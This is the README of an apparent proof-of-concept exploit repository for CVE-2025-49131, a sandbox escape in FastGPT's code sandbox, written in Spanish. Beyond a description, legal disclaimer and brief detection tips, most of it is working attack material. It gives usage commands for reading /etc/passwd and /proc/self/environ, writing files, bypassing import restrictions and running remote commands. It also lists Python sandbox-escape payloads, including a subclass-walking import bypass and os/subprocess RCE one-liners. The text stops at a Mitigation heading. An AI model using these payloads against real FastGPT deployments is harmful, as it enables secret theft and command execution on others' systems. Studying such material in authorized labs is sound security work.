CVE-2025-49131 - POC de Escape de Sandbox FastGPT

 ███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
 ██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
 █████╗  ███████║███████╗   ██║   ██║  ███╗██████╔╝   ██║   
 ██╔══╝  ██╔══██║╚════██║   ██║   ██║   ██║██╔═══╝    ██║   
 ██║     ██║  ██║███████║   ██║   ╚██████╔╝██║        ██║   
 ╚═╝     ╚═╝  ╚═╝╚══════╝   ╚═╝    ╚═════╝ ╚═╝        ╚═╝   
                                                            
 ███████╗ █████╗ ███╗   ██╗██████╗ ██████╗  ██████╗ ██╗  ██╗
 ██╔════╝██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
 ███████╗███████║██╔██╗ ██║██║  ██║██████╔╝██║   ██║ ╚███╔╝ 
 ╚════██║██╔══██║██║╚██╗██║██║  ██║██╔══██╗██║   ██║ ██╔██╗ 
 ███████║██║  ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
 ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═════╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝
                                                            
 ███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗           
 ██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝           
 █████╗  ███████╗██║     ███████║██████╔╝█████╗             
 ██╔══╝  ╚════██║██║     ██╔══██║██╔═══╝ ██╔══╝             
 ███████╗███████║╚██████╗██║  ██║██║     ███████╗           
 ╚══════╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝     ╚══════╝           
                                                            
        ╔═══════════════════════════════════════╗
        ║     CVE-2025-49131 | CVSS 6.3        ║
        ║   FastGPT Sandbox Container Escape   ║
        ║      Affected: < v4.9.11             ║
        ╚═══════════════════════════════════════╝

🎯 Resumen de la Vulnerabilidad

Campo	Valor
ID CVE	CVE-2025-49131
Puntuación CVSS	6.3 (Media)
Vector CVSS	AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Tipo de Vulnerabilidad	Escape de Sandbox
Software Afectado	Contenedor FastGPT (fastgpt-sandbox)
Versiones Afectadas	< 4.9.11
Versión Parcheada	4.9.11+
Fecha de Divulgación	9 de junio de 2025

⚠️ Aviso Legal

Esta herramienta es solo para fines de investigación de seguridad autorizada y educativos.

• Pruebe únicamente en sistemas que posea o para los que tenga permiso explícito por escrito.
• Siga las prácticas de divulgación responsable.
• Cumpla con todas las leyes y regulaciones aplicables.

📖 Descripción

CVE-2025-49131 es una vulnerabilidad de escape de sandbox en el contenedor fastgpt-sandbox de FastGPT. La vulnerabilidad existe debido a:

• Mecanismos de aislamiento insuficientes: el sandbox no restringe adecuadamente los builtins de Python.
• Llamadas al sistema excesivamente permisivas: las syscalls peligrosas no están bloqueadas.
• Restricciones de ejecución de código inadecuadas: las restricciones de importación pueden ser eludidas.

Impacto

Una explotación exitosa permite a un atacante:

• ✅ Leer archivos arbitrarios: acceder a /etc/passwd, archivos de configuración, secretos.
• ✅ Escribir archivos arbitrarios: modificar archivos del sistema, inyectar código malicioso.
• ✅ Eludir restricciones de importación de Python: importar módulos os, subprocess.
• ✅ Potencial RCE: ejecutar comandos del sistema a través de módulos importados.

🚀 Inicio Rápido

# Clone this repository
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc

# Install dependencies
pip install -r requirements.txt

# Run vulnerability detection
python poc.py --target http://localhost:3001 --detect

# Read a file
python poc.py --target http://localhost:3001 --read /etc/passwd

# Attempt RCE
python poc.py --target http://localhost:3001 --rce "id"

🔧 Configurar Entorno Vulnerable

# Start vulnerable and patched containers
docker-compose up -d

# Vulnerable sandbox on port 3001
# Patched sandbox on port 3002

💻 Uso

Modo de Detección (No destructivo)

python poc.py --target http://localhost:3001 --detect -v

Leer Archivos Arbitrarios

python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ

Escribir Archivos

python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"

Omitir Importaciones

python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess

Variables de Entorno

python poc.py --target http://localhost:3001 --env

Ejecución Remota de Comandos

python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"

Opciones Completas

python poc.py --help

📁 Estructura del Proyecto

cve-2025-49131-poc/
├── poc.py                # Main exploit script
├── payloads.py           # Payload generator library
├── docker-compose.yml    # Test environment
├── requirements.txt      # Python dependencies
├── README.md             # This file
└── tests/
    └── test_exploit.py   # Automated tests

🔬 Detalles Técnicos

Causa Raíz de la Vulnerabilidad

El sandbox de FastGPT está diseñado para ejecutar código enviado por el usuario en un entorno aislado. Sin embargo, los mecanismos de aislamiento son insuficientes:

1. Acceso a __builtins__ de Python: el sandbox no restringe adecuadamente el acceso a funciones integradas como open(), __import__(), etc.
2. Filtrado de Syscalls: la lista de syscalls permitidas incluye llamadas peligrosas que permiten el acceso al sistema de archivos.
3. Omisión de Restricciones de Importación: existen múltiples técnicas para eludir las restricciones de importación de módulos.

Flujo de Explotación

┌─────────────────────────────────────────────┐
│ 1. Send malicious code to sandbox API       │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 2. Bypass sandbox restrictions using:       │
│    - __builtins__ manipulation              │
│    - Subclass walking                       │
│    - Import bypass techniques               │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 3. Gain access to:                          │
│    - File system (read/write)               │
│    - os/subprocess modules                  │
│    - Environment variables                  │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 4. Impact:                                  │
│    - Data exfiltration                      │
│    - Code injection                         │
│    - Remote command execution               │
└─────────────────────────────────────────────┘

Ejemplos de Payloads

Lectura de Archivos:

open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()

Omisión de Importación:

__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__() 
 if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/main/%27os%27)

RCE:

__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)

🛡️ Detección y Mitigación

Detección

Busque actividad sospechosa en los registros del sandbox:

• Intentos de acceso a /etc/passwd, /etc/shadow
• Llamadas a __builtins__, __import__
• Uso del módulo subprocess u os
• Operaciones inusuales de lectura/escritura de archivos

Mitigación